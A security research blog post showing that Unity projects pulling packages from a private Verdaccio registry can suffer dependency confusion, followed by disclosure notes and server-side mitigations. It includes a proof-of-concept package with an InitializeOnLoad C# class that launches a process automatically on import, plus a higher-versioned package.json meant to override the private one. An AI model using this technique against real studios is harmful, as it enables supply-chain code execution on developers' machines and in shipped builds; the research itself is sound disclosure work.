Dependency Confusion Vulnerabilities in Unity Game Development

The Unity game engine has a package manager which allows packaged code and assets to be imported into a game, with dependencies automatically handled. Originally this was used only for Unity-produced packages, such as the GUI system. Later Unity began allowing private registries so that game studios can maintain their own internal packages. Because of the recent hubbub about dependency confusion vulnerabilities, I wondered whether Unity developers and game studios using private package registries might be vulnerable?

First, if you’re unfamiliar with dependency confusion vulnerabilities, you may want to check out the original article about the topic and our blog post about how to mitigate it in Verdaccio (the most popular private registry server.) Essentially it is a vulnerability where an attacker overrides what was meant to be a private internal package by publishing a package of the same name on a public package registry with a larger version number. This allows the attacker to execute code on the machine of anyone who imports the package.

Unity package registries, referred to as UPM, work using the same protocol as the Node package manager (NPM). A note on their documentation reads:

Warning: When you set up your own package registry server, make sure you only use features that are compatible with Unity’s Scoped Registries. For example, Unity doesn’t support namespaces using the @scope notation that npm supports.

Since namespaced packages are one of the primary defenses against dependency confusion, this was a little concerning. In our recent blog post about dependency confusion and Verdaccio, IncludeSec researcher Nick Fox found that by default, Verdaccio will search both locally and in the public NPM registry for packages, and then choose whichever has a higher version. Can Unity packages be published to the public NPM registry? Indeed, there are several of them. Is it possible to use this to induce dependency confusion in Unity? I endeavored to find out!

Before we continue further we wanted to note that a preview of this blog post was shared with the Unity security team, we thank them for their review and internal effort to update customer facing documentation as a result of our research. Unity formerly recommended using Verdaccio to host private registries, but as of Apr 27 2021 the current documentation no longer recommends a specific registry server hence the setup (and risk!) of standing up a private registry falls on the responsibility of a game studio’s IT department. However, most teams are still likely to use Verdaccio, so this blog post will use it for testing. Other registry servers may have similar proxying behavior. Below we’ll walk through how this situation can be exploited.

Creating a normal private package

First I wanted to create a normal package to publish on my local Verdaccio registry, then I will make a malicious one to try to override it. My normal package contains the following files

includesec.jpeg
includesec.jpeg.meta
package.json

includesec.jpeg is just a normal texture file (the IncludeSec logo). The package.json looks like:

{
  "name": "com.includesecurity.unitypackage",
  "displayName": "IncludeSec logo",
  "version": "1.0.0",
  "unity": "2018.3",
  "description": "IncludeSec logo",
  "keywords": [ ],
  "dependencies": {}
}

I published it to my local Verdaccio registry like this:

NormalPackage$ npm publish --registry http://127.0.0.1:4873
npm notice
npm notice 📦  com.includesecurity.unitypackage@1.0.0
npm notice === Tarball Contents ===
npm notice 20.5kB includesec.jpeg
npm notice 212B   package.json
npm notice 2.1kB  includesec.jpeg.meta
npm notice === Tarball Details ===
npm notice name:          com.includesecurity.unitypackage
npm notice version:       1.0.0
npm notice package size:  19.8 kB
npm notice unpacked size: 22.8 kB
npm notice shasum:        db99c51277d43ac30c6e5bbf166a6ef16815cf70
npm notice integrity:     sha512-OeNVhBgi5UxEU[...]sm+TlgkitJUDQ==
npm notice total files:   3
npm notice
+ com.includesecurity.unitypackage@1.0.0

Installing in Unity

The Unity documentation describes how to set up private registries, involving adding some lines to Packages/manifest.json. My Packages/manifest.json file looks like the following:

{
    "scopedRegistries": [{
        "name": "My internal registry",
        "url": "http://127.0.0.1:4873",
        "scopes": [
          "com.includesecurity"
        ]
    }],
      "dependencies": {
          ...
      }
}

The above configuration will cause any packages whose name begins with com.includesecurity to use the private registry at http://127.0.0.1:4873 (documentation about Unity scoped registry behavior can be found here). The package I uploaded previously now shows up in the Unity Package Manager window under “My Registries”:

Creating a malicious package

The next step is creating a malicious package with the same name but a higher version, and uploading it to the public NPM registry. I created a malicious package containing the following files:

com.includesecurity.unitypackage.asmdef
com.includesecurity.unitypackage.asmdef.meta
Editor/
Editor/com.includesecurity.unitypackage.editor.asmref
Editor/com.includesecurity.unitypackage.editor.asmref.meta
Editor/MaliciousPackage.cs
Editor/MaliciousPackage.cs.meta
Editor.meta
package.json
package.json.meta

Below is MaliciousPackage.cs which will run a “malicious” command when the package is imported:

using UnityEngine;
using UnityEditor;

[InitializeOnLoad]
public class MaliciousPackage {
    static MaliciousPackage()
    {
        System.Diagnostics.Process.Start("cmd.exe", "/c calc.exe");
    }
}

I also had to set up some assemblies so that the package would run in editor mode — that’s what the asmdef/asmref files are.

Finally I set up a package.json as follows. Note it has the same name but a higher version than the one published to my local Verdaccio registry. The higher version will cause it to override the local one:

{
  "name": "com.includesecurity.unitypackage",
  "displayName": "Testing",
  "version": "2.0.1",
  "unity": "2018.3",
  "description": "For testing purposes -- do not use",
  "keywords": [ ],
  "dependencies": {}
}

Results

I uploaded the malicious package to the public NPM registry. The Unity package manager now looked like:

Uh oh. It’s showing the malicious package uploaded to the public repository instead of the one uploaded to the private repository. What happens now when I import the package into Unity?

It turns out Unity games using private package registries can be vulnerable to dependency confusion. A game studio that uses a private package registry configured to also pull from the public npmjs registry (which is the default configuration of Verdaccio) is vulnerable. An attacker who knows or guesses any of that team’s private package names could upload one with a higher version to the public registry and cause code to be run on developer machines (as well as conceivably being packaged into the final game builds).

Note that I tested and this does not affect the default Unity-hosted packages — only packages on a private registry.

Mitigation

How can a game developer ensure this isn’t a security concern for them? Because the Unity package manager client doesn’t support package namespaces, the standard way of preventing this attack doesn’t work with Unity. Instead, mitigations have to be applied at the package registry server level. IncludeSec researcher Nick Fox provided excellent information about how to do this for Verdaccio on our previous blog post on dependency confusion in private NPM indexes. In general, whatever package registry server is being used, it should be configured to either:

  1. Not pull from the public NPM registry at all, or…
  2. If access to the public registry is desired, then the internal packages should be prefixed with a certain string (such as “com.studioname”) and the server should be configured not to pull any packages with that prefix from the public NPM registry

1 thought on “Dependency Confusion Vulnerabilities in Unity Game Development”

Leave a Reply

%d bloggers like this: